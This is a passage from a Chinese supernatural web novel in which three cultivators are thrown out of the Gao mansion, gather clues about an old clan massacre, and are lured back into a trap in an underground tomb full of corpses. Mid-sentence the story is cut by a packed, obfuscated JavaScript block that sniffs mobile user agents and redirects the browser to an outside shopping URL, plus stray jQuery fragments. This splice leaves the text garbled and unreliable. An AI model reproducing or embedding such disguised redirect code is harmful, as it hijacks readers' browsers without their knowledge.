“来人、来人!”高成舟怒喝一声:“送客!立刻送三位出府!高府乃明净之地,容不得这般胡言乱语之徒!”
无垠雪上前将卫鸢遥护在身后,目视高成舟,“家主这是何意?”
“送客!”
——
画面一转,三人身形已立于高府外,大门轰然合拢。
卫鸢遥叉腰怒道:“这就将我们赶出来了?好个高成舟!”
其反应绝非寻常受辱恼怒,她不过试探一语,他便方寸大乱急急驱人,似是生怕他三人再瞧出些什么。
无垠雪侧首看她,“阿遥,你刚才断言府中尸煞不止一具,是如何看出的?”他虽察觉异常,却未如她那般笃定。
“我?”卫鸢遥两手一摊,面上更添几分愤懑,“不过是瞧出高府兴许有尸煞作怪,顺口诈他一句罢了。谁曾想那高成舟反应这般大,直接翻脸赶人,这不明摆着心中有鬼?”
高成舟身为此间家主,却惧怕被点破“尸煞”二字,只怕不仅惧家丑外扬,更怕被发现背后图谋。
青闻言淡然道:“这高府,进了邪术士。”
“邪术士?管他是否藏污纳垢,既然他高家非得捂得严实,他家这摊子烂事,咱们还不管了。”卫鸢遥眼珠一转,轻扯无垠雪的袖子,“走,咱们去向街坊邻里打听打听,苍梧氏与高氏旧事总有人知晓一二。”
“此法尚可。”无垠雪颔首。青负手转身,算是默许。
离了阴郁高府,三人即刻转向帛城北市,集市间吆喝声此起彼伏,倒是将方才府外的死气冲淡不少。
卫鸢遥专挑茶摊老铺前的老者打听,她生得灵秀可爱,嘴也甜,几个铜板一碗茶便换得不少零碎言语。
行至一处茶馆,馆内说书先生正说到前朝忠良遭人陷害,落得个满门抄斩尸骨无存下场之事。她听得梓熙,散场后便寻得说书先生好奇追问,那先生回道:“姑娘问苍梧氏?唉,那是百年前的旧冤了,可惜得罪了权贵,一夜之间……据说连坟头都未曾留下一个,尸首皆被弃于一座荒山之上。”
另一边,无垠雪正与一旧书摊主攀谈。摊主翻开一册残破地方志抄本,指向一处记载,“高氏曾居于晟州锦州城,祖先时任刀斧手。百年前高氏迁来帛城,初时低调,后行事蛮横,更强作掳人……怪哉,后几页竟被撕了。”
日垂西天,三人寻了间临街酒馆歇脚,点上几个小菜。
晨间平白被驱赶,打听来的线索又零碎,卫鸢遥戳着碗中饭食,颇感沉闷。
“苍梧氏灭门与高家迁宅帛城之时相近,”无垠雪低声将线索拼凑:“且高家近几十年家宅不宁,子弟儿女屡遭横祸,确似被极重怨魂纠缠之象。”
“极重怨魂?”她抬眸看向鬼仙,“老鬼既说高府内藏有邪术士,那炼制子母煞行以煞制煞之法,便是他说与高列乃至高成舟听的?”
静坐旁观的青忽而开口:“那邪术士可不见得是人。”
卫鸢遥与无垠雪俱是一怔,齐齐投去目光。
青把玩着粗陶杯盏,眸光虚落于茶水中,“先前离府前,本座以神识复察,府邸深处鬼气浓郁,虽极力掩藏,却与蒙山炼鬼者同源。不过……”他眉头微蹙,“本座看不清它。”
“看不清?”卫鸢遥愕然。
“嗯,单单形貌不得见,能遮蔽本座神识,非寻常厉鬼可具。”
无垠雪神色微凝:“前辈之意,那邪术士便是蒙山炼鬼者?且实乃鬼物所化?”
青略一颔首:“十之八九。”
若那邪术士即为鬼物所化,其寻上高府,诱引高成舟、高列炼尸养煞,便绝非是为化解怨煞,而是借高成舟之手,将高府全数人拽入无边地狱!它欲复仇,并借众多凶煞壮硕已身!
卫鸢遥愈想愈觉悚然,手中筷箸失手追于桌案,脆响惊心。
酒馆外忽而传来一阵慌乱足音,一人连滚带爬冲进酒馆,“噗通”一声跪在过道中,前额叩得地板咚咚作响,引得四周食客纷纷侧目。
“恳请三位高人,救救敝府满门!日间实属误会,如今府内大乱,非三位不可制啊!”
卫鸢遥认出那是高家仆役,冷声道:“误会?”
方才正念及邪术士恐为复仇鬼物,高府便在此时出大事?时机这般巧合?
那仆役哭嚎之声更尖利,“请”法尽是不容人不去的架势,“千真万确!家主已知错深悔,求三位念在敝府百余条性命速速移驾啊!”言辞恳切,姿态卑微至极。
三人目光飞快扫过四周,但见食客与店家伙计皆投来目光,此时若是拂袖离去,对他三人唯有不利。何况若藏身幕后的邪术士当真是苍梧氏怨魂,也绝不能坐视。
卫鸢遥与雪、青二人交换目光,迫于情势只好搁筷起身,压低声音道:“若敢妄言,我定不轻饶!”
仆役连声称谢起身引路。三人不再多言,匆匆搁下铜板疾步而出。
——
此时高府门前已明灯数十,落于卫鸢遥眼中,更似一双双明炯之瞳,瞪得人心中直发怵。
高成舟已于大门内亲迎,面上歉意与焦灼之色相叠,他疾步上前,朝卫鸢遥躬身长揖:“卫姑娘,此前老夫有眼无珠,多有冲撞万望海涵!如今府中邪骤狂,还请三位不念旧恶仗义施援呐!”
卫鸢遥心感怪异,高成舟怎会突然对她如此恭谨?
她冷声敷衍:“家主言重,邪祟何在?”
“正在西院!今日异响频频,仆役近之则惧,三位高人请随老夫来。”高成舟惊惧引路,直趋府邸幽深处。
月影斑驳,星子渐稀,一座黑瓦楼阁愈发接近,后院木色森然,夜风穿廊呜咽似泣。
卫鸢遥蹙眉向无垠雪与青传音:“你二人可曾察觉异象?我总觉蹊跷。”
无垠雪回道:“此间煞气浓厚,沉郁不散,然高成舟却似乎不恐惧,尤其是方才转角处,我曾窥见其似含蔑笑。”
“无妨,左右此间煞物不成气候,若他高氏另有所图,将计就计便是。”青语气傲然。
卫鸢遥暗地里将警惕提到十二分。高成舟这老匹夫变脸比翻书还快,她今夜便要看看,这高府西院究竟藏着何等魑魅魍魉,他又是耍的什么心眼子。
思量间,高成舟已取钥开门,内间黑暗如墨,寒气森森。“那邪物似是潜藏在此,老夫实在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857201|190256||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胆寒不敢再入,劳烦三位高人……”他说罢,立即退身至门前阶下。
她看向雪、青二人,见后者皆是默然颔首,便举步踏入厅中。
厅堂空旷,唯见面前一座高大无牌神龛,正当三人凝神感知鬼气时,身后大门轰然闭合,脚下数块砖石下陷!卫鸢遥身形急坠,腰间力道骤紧,是无垠雪千钧一发之际揽住了她,“当心!”
“呃!”两人先后坠地,待她抬眼一看,数道玄铁栅栏已封死诸般退路,地下所见地尽是森森白骨,“高成舟!”她厉声怒喝,高成舟竟是将他们“请”入了地下牢笼!
无垠雪凌冽目光已然昭示其心内愤怒,“当真是演得一出好戏。”
青最为从容,化作鬼体飘然而下环视地牢,“玄铁为笼青石为壁,镌刻粗浅符纹,困些个寻常修士已足以。”
“可惜我们并非寻常修士。”卫鸢遥气极反笑,反手自囊中抽出一道雷霄紫符,作势便要掷向头顶的铁门,“老鬼,你既不受肉身限制,先去给我逮住那老匹夫,看我不炸碎这铁门寻他算个总账!”
“阿遥且慢。”无垠雪轻按她的手腕,目光投向地牢通道的幽深处,“高家既惯行炼煞等阴毒事,如今将我们引入地牢,只怕这地牢未必只是囚室这般简单。不如趁此机会先行探查一番,兴许能窥见高家真正隐秘。”
青闻言低笑,“此言有理,何况……”他抬眸,目光似穿透层层石壁看见外界景象,“若此刻高家当真大乱,那高成舟自会亲自来请我们出去。”
被他二人一点,卫鸢遥胸腔内怒火稍抑。既然高成舟费尽心机困他三人在此,不如反客为主,先探其秘幸虚实!
她收回紫符,取出青暗鬼奴符,“莫急。”
青烟袅袅,莫急应召现身,“姑娘,此地藏有凶物。”
“那便去寻它,我倒要看看,高家究竟在此地藏了什么东西!”
两人两鬼转而闯入深处。卫鸢遥指尖符光跳跃,照亮身前寸许之地,只见墙壁湿滑,布满可疑红痕,愈往内里,空气中的腥气愈重。
前行数十步,幢幢黑影映入卫鸢遥眼帘,她定睛一瞧,那竟是数具凶戾腐尸!转瞬间七八具已扑至两人一鬼身前!
未等莫急与无垠雪出手,青袖袍轻拂,鬼灵之气立即撞及腐尸,将其炼作飞灰消散。
腐尸数目众多却并无灵智,不过只是仗着数量与不畏伤痛扑袭。三人一路斩杀,终见一处稍亮通道,略有月光泄下,然前方血气更加浓郁。
行至尽头,卫鸢遥点燃壁上烛火,终见此间全貌:此处乃是一座规模不小的地下陵墓,墓室石门半敞,门内门外景象骇人,竟横七竖八躺着数具尸体,多为仆役护院打扮。尸体大多残缺不全,断臂残肢散落,内脏拖曳,宛如屠宰之所,汩汩鲜血浸透地面。
“畜生……”卫鸢遥咬牙咒骂,忽见角落仍有一人在抽搐,她快步上前,发现那是一位年轻女子,腹部已被撕开一道巨大豁口。
女子气若游丝,察觉有人靠近,费力睁眼看清来人,看清卫鸢遥面容后急急劝阻,每道一字口中便溢出一股血沫:“姑、姑娘,快…快逃……家主用我们饲…饲养……”